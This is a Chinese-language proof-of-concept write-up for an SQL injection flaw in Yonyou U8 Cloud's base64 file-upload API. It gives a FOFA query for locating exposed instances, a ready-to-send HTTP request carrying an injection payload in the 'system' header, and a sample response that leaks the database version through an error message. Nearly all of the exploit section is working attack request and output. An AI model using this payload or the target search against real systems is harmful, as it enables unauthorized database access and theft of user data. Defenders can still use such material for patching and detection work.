

# Y3-1用友-U8Cloud-SQL

## 漏洞描述:

用友U8 Cloud base64接口处存在SQL注入漏洞，未授权的攻击者可通过此漏洞获取数据库权限，从而盗取用户数据，造成用户信息泄露。

## 网站图片:



请下载新版UClient  
开启U8 cloud云端之旅



## 网络测绘:

### fofa语法:

FOFA: app="用友-U8-Cloud"

## 漏洞复现:

payload:

```
GET /u8cloud/api/file/upload/base64 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
system: -1' or 1=@@version--+
```

效果图:

查询数据库版本

Request

```
1 GET /u8cloud/api/file/upload/base64 HTTP/1.1
2 Host: 
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
4 system: -1' or 1=@@version--+
```

Responses 374bytes / 47ms

```
1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 Set-Cookie: JSESSIONID=3C9FF82AD6265D7770
4 Content-Type: application/json; charset=utf-8
5 Date: Wed, 13-Mar-2024 12:28:27 GMT
6 Content-Length: 374
7
8 {
9   "status": "failed",
10  "errorCode": "30000",
11  "errorMsg": "在将nvarchar值'\u0022'转换为int(64-bit) on Windows NT 6.2.\u003cX64\u003e时失败。",
12  "taskNumber": "202403130013"
```

